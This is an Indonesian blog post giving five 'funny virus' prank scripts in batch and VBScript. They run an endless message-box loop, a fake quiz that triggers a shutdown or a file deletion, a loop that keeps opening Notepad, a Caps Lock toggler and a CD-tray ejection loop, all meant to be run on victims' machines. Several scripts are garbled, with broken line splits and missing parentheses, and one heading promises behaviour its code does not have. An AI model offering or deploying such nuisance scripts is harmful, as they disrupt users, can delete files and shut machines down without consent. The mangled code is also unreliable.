Gudang Informasi

Kumpulan Software, Template Seo, tips trick, Games Terupdate

LightBlog
Responsive Ads Here

Saturday, March 8, 2014

cara membuat virus lucu dan mengesalkan

assalammualaikum wr wb

artikel kali ini tentang cara membuat virus yang lucu bikin kesel smile
langsung saja simak :

1. Virus dengan sasaran buat orang jengkel karena muncul terus, sebenarnya bukan virus tapi hanya program yang sok-sok jadi virus smile

@ECHO off

:

Begin

msg * Haloo ?
msg * Lagi apa nih ?
msg * Weww ketahuan nih..
msg * Hayooo ngaku..
msg * Ye ye ketauan yeye ketahuan
msg * Aku matiin saja gimana
msg * Mau............................
GOTO BEGIN

simpan dengan berekstensi .bat contoh usil.bat


2. Membuat Virus Wants to Be A Milionaire

@echo

off title quiz wants to be a millionaire 

:menu

cls

echo jika kamu kena virus apa yang kamu lakukan?
pause
echo pilih yang mana? :
echo 1. Matikan Komputer
echo 2. Format Komputer
echo 3. Yahhhh...
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t 30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * Kurang Beruntung nih
msg * Kurang Iman kali biggrin
msg * Aduh ini gimana kok tambah parah
msg * Masukin ke UGD aja ya
msg * Telpon 311 saja ya
@ECHO off 
:top START %SystemRoot%
\system32\notepad.exe
GOTO top

Simpan dengan .bat contoh contoh = Kuis Wants to be a millionaire.bat

3. Membuka notepad terus-menerus

@ECHO off

:top

START %SystemRoot%

\system32\notepad.exe

GOTO top

Simpan dengan ektensi .bat

4. Shutdown sendiri dan kirim pesan otomatis

Set wshShell

=wscript.CreateObject

"WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "{CAPSLOCK}"
loop

Simpan dengan .vbs

5. CD Room terbuka dan tertutup terus

Set oWMP = CreateObject

("WMPlayer.OCX.7")

Set colCDROMs =

oWMP.cdromCollection

do

if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Simpan dengan .vbs
 
oke smoga bermanfaat... jangan disalah gunakan